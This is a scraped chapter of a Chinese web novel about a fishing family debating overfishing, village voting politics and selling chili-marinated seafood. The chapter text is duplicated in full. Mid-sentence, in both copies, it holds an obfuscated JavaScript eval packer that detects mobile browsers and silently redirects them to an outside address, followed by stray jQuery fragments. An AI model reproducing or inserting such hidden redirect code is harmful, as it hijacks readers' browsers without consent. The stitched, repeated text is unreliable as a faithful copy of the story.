看!海上有明月!特约大厨
71. 第 71 章
小
大
收拾完两个哥哥后,杨万继续说到,“同时,我也发现了,咱们家的鱼,好像现在打上来的也越来越多了吧?哪怕是有镇尾的临时市场出现,好像也是天天都卖有剩余的,
我在码头卖货的时候,听到有不小渔民说,你们交代过,说不给捕捞太多,省的卖不出去还浪费,等以后生意好了还想要多捕点,多卖点,就难了,但好像还是捕多了。”
杨爸点点头,“是我叫的,但私下没有谁听,谁家都想赚多点,我最近三番两次找人劝告他们,捞上来的鱼还是越来越多,后面都不想白费功夫了,又怕出现在镇子里的烂鱼会更多,现在还想劝他们再捕少点不太可能。”
深感浪费的杨万也感慨万千,物种绝种,大概就是这么来的吧,但人言微轻啊,只能看着心疼,这些每天都卖不掉的鱼,都是钱啊!!
但就像他爸说的,尽力了。
杨爸被杨万引出话匣子,有些无奈道:“别说镇子尾那个小市场了,就连周边的县市也快要吃不下了,之前没制止的时候,每天要丢掉的更多!你们说,渔船能去到的海域又有大?谁能像安家一样,多远的海都能去,怎么捞都行,再不节制点,出海三天都能没收获!”
“造孽,这么浪费,不怕大海发怒吗?”
“怕什么,人只会怕穷,怕饿着!但看不见的损失还有,过重的船只在捕鱼来回期间,需要的油费也要更多!船只的损耗也会更重,
虽说我们家的渔船能去的远,捕捞的,不管是种类还是品质都能比别家的优秀,并不愁卖,但我们家的鱼货往码头卖的多了,镇上其他渔民出海捕上来鱼,卖的就少了,
容易引发镇民对我们家的不满,反正,就是捕捞多了,对我们家不利,我就只能叫两架500马力的渔船少捕点,这样就会少亏点。”
杨万一脸不解的看着她爸,“少捕点就不亏了?”
“怎么可能!出海,船就必然有损耗!”
“那镇民对我们家有所不满,影响我们家吃饭吗?”
杨爸没好气的捏捏杨万的脸颊,“是不影响,但咱们家之所以能有人一直坐在镇长这个位置,都是多亏了大家看得起,长期以来都举荐咱们家,愿意投票给咱们家。”
杨万了然了,她所生活的阳国还是非常民主的,想要在这里的官场高升,或者说进官场去当官的,哪怕是当一个小村长,不仅仅是要看村委会的决定,也是需要村里绝大部分人投票表决的。
但在稍微大点的县里就不行了,想要进里面的政府职能部门任职,还是要参加公务员考试的,就是现在还没有后世抓的那么严,别说什么想去哪个岗位都要逢考,还要过了才能给进,都是从某某事业单位、某某国企升上去的多。
而在村内搞个一官半职就没那么麻烦,现在不少村镇里的村长和镇长,他们能不能任职,或者说连任有没有希望。
有一半的表决权都在村民和镇民手中。所以,有不少村支书和村长,都愿意割点村里位置好的水田、山地,给村子里人多势众的大户人家耕种、料理,因为他们手上的表决票可不少。
每次拉拉亲戚和交好的朋友,再威胁一下不听话的村民、镇民,一翻上蹿下跳下来,能握在手中的票,起码也不会少于上百张!
至于常有产出的养鸡场、茶山、果山的股份?那都是到了后面,这些地方的产出好了,成了人人都知道的金山以后,才被惦记分割的。
现在给这些山头给他们,只会让人觉得是在侮辱人,打发穷叫花的呢!扭头就能把同意票投给对手!
杨爷爷抽着旱烟,吧嗒吧嗒,一脸沉思。
“我还有一个提议,既能把大家捕捞上来的鱼货消化,也能扩大我的辣酱生产,我们把新鲜捞上来的海鲜,经过水洗后,全都涂抹上我的辣酱,在运到市里面上卖!
既然,我们家运去城里的冰冻海鲜,能在让它们在冰冻着的时候,都能卖上个两三天,没道理用辣酱腌制过后的不行,而且,我觉得,等两三天以后,这些海鲜估计才是真的入味的时候!”
众人听完,都和杨爷爷一样,开始一脸沉思起来。
杨爸不确定的问:“确定不会变酸?变味?吃坏肚子?”
杨万肯定的点点头,“大酱沾虾,沾螃蟹好吃吗?”
“那肯定啊,在船上吃刚捞上来的,生吃都好吃!”
“就是咯,我的辣酱比大酱难吃吗?”
几人摇摇头。
“那就更好办了,想知道抹上去,味道怎样?想知道抹上去,要放几天才会变味?咱们接下来在家试试不就知道了?
家里又不是没有人手,不过友情提醒一下,吃不惯的人吃多这些用活生生的海货腌制出来的海鲜,就会像小孩子吃多了冰棒一样,肚疼,窜稀!一泻千里!到时候可别被人抓住这一点就上门来闹事,说我们做的不干净!要我们赔钱!”
杨爸听的两眼放光,杨爷爷直接拍板,决定明天就给全家多加一项任务。
杨二哥不解,听的有些发毛,“真的可靠吗?吃不惯的会窜稀的,能是什么好东西?能有人来买?”
杨万反问道:“那在能装四到五人的小白钓出现以前,镇子上有多少渔民能在海上吃得上热乎的饭菜?不都是在每次出海前自带干粮,饿了就配着点生鱼片或者是新鲜的海鲜来当菜,当时的船够大?能有条件生火,放炉子?全都是生吃!好像吃了这么多年,也没见谁说会窜稀。”
杨爷爷笑呵呵的解释道:“当然没有啦,谁不知道吃多了会肚子疼,窜稀,以前没吃的时候,还真有人因为吃太多,直接窜死了!你们当带过去的干粮就只有个带是吗?渔民们不怕的吗?就是害怕生鱼片吃多了会出事。”
几人点点头,一脸听完八卦以后的后怕。
“所以喽,我就是先提个醒,万一等下做出来的太好吃,我就害怕谁贪嘴了,肚子耐受不住,窜稀了又来找我们要赔偿,说我们店里的东西不干净。”
杨爷爷不高兴,压低声音吼了一句,“谁敢?”
见老爷子怒气上头,张嘴就想怒骂对方户口本,杨爸连忙打圆场,岔话题:“别担心,在杨家镇上,没人敢干这种事情!”
杨万这才满意的点点头,杨爷爷被杨爸一句抢白,有些赌气的转过身,坐在一旁独自生闷气,连旱烟都不抽了,手里的扇子被他摇个不停。
“那这样,既然接下来要忙的事情定好了,我明天就进城去问问和我做买卖的钱主管,能不能从他那里长期的买下他们酒店退下来的苹果和梨,
顺便问问,周边哪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984377|139716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里有合适的果园?辣酱生意和腌菜生意如果都能做得下去,销路还不错的话,再去找果园的谈长期的合作,
现在,咱们先用酒店用过的果过度着先,反正量应该是够的,价钱也合适,小百万,摆过一段时间的果应该不影响使用的吧?”
杨万肯定的点点头,“那您刚尝的,不就是我用他们的果调出来的?里面用到的果,在酒店收了几天?又在家里收了几天?起码半个月了吧?您觉得味道有差点什么吗?”
杨爸摇摇头,杨万看向在座的家人,“你们觉得呢?”几人皆摇头。
“就是不知道酒店每次换下来的果有多少,我的辣酱,用的果还是挺少的,不然多了,辣味就不够了。”
杨爸无所谓道:“这不是什么大问题,等果回来了,咱多试几次就行了,我这回要的量还是不少的,还能给对方解决一道不小的难题,搞不好收购的价格还能再压一压,”
杨爷爷听此,终于肯转过身来,瓮声瓮气的骂道:“你这样做太显眼了,等后面小百万的店真把东西给摆出来卖的时候,有心人一打听就能知道她的秘方用了什么材料,秘方到时候想捂也捂不住!
撇开这点不谈,就当配比只有小百万知,但你又不是不知道,城里的人家有多挑剔,他们要是酱内的果从哪里来的,只会觉得膈应,要我说,你要真的只是想用酒店的果来过渡的使,就该偷偷的来,等后面找到能合作的果园了,你再这么大大咧咧的,不用收着捂着也不迟。”
杨爸受教了,“还是爸你考虑的周全。”
“哼,那是,我吃过的盐比你们吃过的米还多。”
杨万知道她爷爷是为了她着想。但熟知以后形式的她只想嘟囔一句,想瞒也瞒不了多久,阳国人最厉害的是什么?复刻啊!
她的生意做起来了,跟风的会少吗?现在小镇上跟着她摆摊卖小鱼仔的都不少,只不过是味道没有她家的好,加上毛利低,慢慢的守不下去了,才让镇上的小鱼摊少了不少。
但还是有的,毕竟镇子也不小,有不少店铺的老板还是会在自家的店内摆上这些小零食用以揽客,因为杨万还在读书!不可能时时刻刻都能出摊子。
但好在,他们都是从杨万这里进货的,不然,她就不给配送辣椒盐。
加上可能火候看的不好,味道就损失了好几分,让不少囊中羞涩的人,头次可能会上当,第二次,见到也不想买。
不得已,有些店最后还是要从杨万这里进货,赚不来几个钱,都是摆着用来拉点客流进店的,也使得杨万的生意一直都是镇上的独一份。
但估计再过不久,等电器开始下乡,或者是用电方便以后,她就只能靠着辣椒盐的味道赚钱了。
辣酱就更不用说了,等再过30来年,网络发达了,有不少在某书、某小、某块上注册的主播,为了把账号的粉丝给搞起来,好卖号的时候,都会把这些给解密出来。
只要想知道,一搜一大把,还能出现n多个个人改进以后的版本,根本就没有丝毫的个人秘方可言!
到时候只能说,他们做出来的成品味道不错,一些懒人不想做饭,又不舍得点外卖的时候会来帮衬一下。
总之,基本上就使得这些半零食性质的产品价格,都高贵不到哪里去。
我在码头卖货的时候,听到有不小渔民说,你们交代过,说不给捕捞太多,省的卖不出去还浪费,等以后生意好了还想要多捕点,多卖点,就难了,但好像还是捕多了。”
杨爸点点头,“是我叫的,但私下没有谁听,谁家都想赚多点,我最近三番两次找人劝告他们,捞上来的鱼还是越来越多,后面都不想白费功夫了,又怕出现在镇子里的烂鱼会更多,现在还想劝他们再捕少点不太可能。”
深感浪费的杨万也感慨万千,物种绝种,大概就是这么来的吧,但人言微轻啊,只能看着心疼,这些每天都卖不掉的鱼,都是钱啊!!
但就像他爸说的,尽力了。
杨爸被杨万引出话匣子,有些无奈道:“别说镇子尾那个小市场了,就连周边的县市也快要吃不下了,之前没制止的时候,每天要丢掉的更多!你们说,渔船能去到的海域又有大?谁能像安家一样,多远的海都能去,怎么捞都行,再不节制点,出海三天都能没收获!”
“造孽,这么浪费,不怕大海发怒吗?”
“怕什么,人只会怕穷,怕饿着!但看不见的损失还有,过重的船只在捕鱼来回期间,需要的油费也要更多!船只的损耗也会更重,
虽说我们家的渔船能去的远,捕捞的,不管是种类还是品质都能比别家的优秀,并不愁卖,但我们家的鱼货往码头卖的多了,镇上其他渔民出海捕上来鱼,卖的就少了,
容易引发镇民对我们家的不满,反正,就是捕捞多了,对我们家不利,我就只能叫两架500马力的渔船少捕点,这样就会少亏点。”
杨万一脸不解的看着她爸,“少捕点就不亏了?”
“怎么可能!出海,船就必然有损耗!”
“那镇民对我们家有所不满,影响我们家吃饭吗?”
杨爸没好气的捏捏杨万的脸颊,“是不影响,但咱们家之所以能有人一直坐在镇长这个位置,都是多亏了大家看得起,长期以来都举荐咱们家,愿意投票给咱们家。”
杨万了然了,她所生活的阳国还是非常民主的,想要在这里的官场高升,或者说进官场去当官的,哪怕是当一个小村长,不仅仅是要看村委会的决定,也是需要村里绝大部分人投票表决的。
但在稍微大点的县里就不行了,想要进里面的政府职能部门任职,还是要参加公务员考试的,就是现在还没有后世抓的那么严,别说什么想去哪个岗位都要逢考,还要过了才能给进,都是从某某事业单位、某某国企升上去的多。
而在村内搞个一官半职就没那么麻烦,现在不少村镇里的村长和镇长,他们能不能任职,或者说连任有没有希望。
有一半的表决权都在村民和镇民手中。所以,有不少村支书和村长,都愿意割点村里位置好的水田、山地,给村子里人多势众的大户人家耕种、料理,因为他们手上的表决票可不少。
每次拉拉亲戚和交好的朋友,再威胁一下不听话的村民、镇民,一翻上蹿下跳下来,能握在手中的票,起码也不会少于上百张!
至于常有产出的养鸡场、茶山、果山的股份?那都是到了后面,这些地方的产出好了,成了人人都知道的金山以后,才被惦记分割的。
现在给这些山头给他们,只会让人觉得是在侮辱人,打发穷叫花的呢!扭头就能把同意票投给对手!
杨爷爷抽着旱烟,吧嗒吧嗒,一脸沉思。
“我还有一个提议,既能把大家捕捞上来的鱼货消化,也能扩大我的辣酱生产,我们把新鲜捞上来的海鲜,经过水洗后,全都涂抹上我的辣酱,在运到市里面上卖!
既然,我们家运去城里的冰冻海鲜,能在让它们在冰冻着的时候,都能卖上个两三天,没道理用辣酱腌制过后的不行,而且,我觉得,等两三天以后,这些海鲜估计才是真的入味的时候!”
众人听完,都和杨爷爷一样,开始一脸沉思起来。
杨爸不确定的问:“确定不会变酸?变味?吃坏肚子?”
杨万肯定的点点头,“大酱沾虾,沾螃蟹好吃吗?”
“那肯定啊,在船上吃刚捞上来的,生吃都好吃!”
“就是咯,我的辣酱比大酱难吃吗?”
几人摇摇头。
“那就更好办了,想知道抹上去,味道怎样?想知道抹上去,要放几天才会变味?咱们接下来在家试试不就知道了?
家里又不是没有人手,不过友情提醒一下,吃不惯的人吃多这些用活生生的海货腌制出来的海鲜,就会像小孩子吃多了冰棒一样,肚疼,窜稀!一泻千里!到时候可别被人抓住这一点就上门来闹事,说我们做的不干净!要我们赔钱!”
杨爸听的两眼放光,杨爷爷直接拍板,决定明天就给全家多加一项任务。
杨二哥不解,听的有些发毛,“真的可靠吗?吃不惯的会窜稀的,能是什么好东西?能有人来买?”
杨万反问道:“那在能装四到五人的小白钓出现以前,镇子上有多少渔民能在海上吃得上热乎的饭菜?不都是在每次出海前自带干粮,饿了就配着点生鱼片或者是新鲜的海鲜来当菜,当时的船够大?能有条件生火,放炉子?全都是生吃!好像吃了这么多年,也没见谁说会窜稀。”
杨爷爷笑呵呵的解释道:“当然没有啦,谁不知道吃多了会肚子疼,窜稀,以前没吃的时候,还真有人因为吃太多,直接窜死了!你们当带过去的干粮就只有个带是吗?渔民们不怕的吗?就是害怕生鱼片吃多了会出事。”
几人点点头,一脸听完八卦以后的后怕。
“所以喽,我就是先提个醒,万一等下做出来的太好吃,我就害怕谁贪嘴了,肚子耐受不住,窜稀了又来找我们要赔偿,说我们店里的东西不干净。”
杨爷爷不高兴,压低声音吼了一句,“谁敢?”
见老爷子怒气上头,张嘴就想怒骂对方户口本,杨爸连忙打圆场,岔话题:“别担心,在杨家镇上,没人敢干这种事情!”
杨万这才满意的点点头,杨爷爷被杨爸一句抢白,有些赌气的转过身,坐在一旁独自生闷气,连旱烟都不抽了,手里的扇子被他摇个不停。
“那这样,既然接下来要忙的事情定好了,我明天就进城去问问和我做买卖的钱主管,能不能从他那里长期的买下他们酒店退下来的苹果和梨,
顺便问问,周边哪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984377|139716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里有合适的果园?辣酱生意和腌菜生意如果都能做得下去,销路还不错的话,再去找果园的谈长期的合作,
现在,咱们先用酒店用过的果过度着先,反正量应该是够的,价钱也合适,小百万,摆过一段时间的果应该不影响使用的吧?”
杨万肯定的点点头,“那您刚尝的,不就是我用他们的果调出来的?里面用到的果,在酒店收了几天?又在家里收了几天?起码半个月了吧?您觉得味道有差点什么吗?”
杨爸摇摇头,杨万看向在座的家人,“你们觉得呢?”几人皆摇头。
“就是不知道酒店每次换下来的果有多少,我的辣酱,用的果还是挺少的,不然多了,辣味就不够了。”
杨爸无所谓道:“这不是什么大问题,等果回来了,咱多试几次就行了,我这回要的量还是不少的,还能给对方解决一道不小的难题,搞不好收购的价格还能再压一压,”
杨爷爷听此,终于肯转过身来,瓮声瓮气的骂道:“你这样做太显眼了,等后面小百万的店真把东西给摆出来卖的时候,有心人一打听就能知道她的秘方用了什么材料,秘方到时候想捂也捂不住!
撇开这点不谈,就当配比只有小百万知,但你又不是不知道,城里的人家有多挑剔,他们要是酱内的果从哪里来的,只会觉得膈应,要我说,你要真的只是想用酒店的果来过渡的使,就该偷偷的来,等后面找到能合作的果园了,你再这么大大咧咧的,不用收着捂着也不迟。”
杨爸受教了,“还是爸你考虑的周全。”
“哼,那是,我吃过的盐比你们吃过的米还多。”
杨万知道她爷爷是为了她着想。但熟知以后形式的她只想嘟囔一句,想瞒也瞒不了多久,阳国人最厉害的是什么?复刻啊!
她的生意做起来了,跟风的会少吗?现在小镇上跟着她摆摊卖小鱼仔的都不少,只不过是味道没有她家的好,加上毛利低,慢慢的守不下去了,才让镇上的小鱼摊少了不少。
但还是有的,毕竟镇子也不小,有不少店铺的老板还是会在自家的店内摆上这些小零食用以揽客,因为杨万还在读书!不可能时时刻刻都能出摊子。
但好在,他们都是从杨万这里进货的,不然,她就不给配送辣椒盐。
加上可能火候看的不好,味道就损失了好几分,让不少囊中羞涩的人,头次可能会上当,第二次,见到也不想买。
不得已,有些店最后还是要从杨万这里进货,赚不来几个钱,都是摆着用来拉点客流进店的,也使得杨万的生意一直都是镇上的独一份。
但估计再过不久,等电器开始下乡,或者是用电方便以后,她就只能靠着辣椒盐的味道赚钱了。
辣酱就更不用说了,等再过30来年,网络发达了,有不少在某书、某小、某块上注册的主播,为了把账号的粉丝给搞起来,好卖号的时候,都会把这些给解密出来。
只要想知道,一搜一大把,还能出现n多个个人改进以后的版本,根本就没有丝毫的个人秘方可言!
到时候只能说,他们做出来的成品味道不错,一些懒人不想做饭,又不舍得点外卖的时候会来帮衬一下。
总之,基本上就使得这些半零食性质的产品价格,都高贵不到哪里去。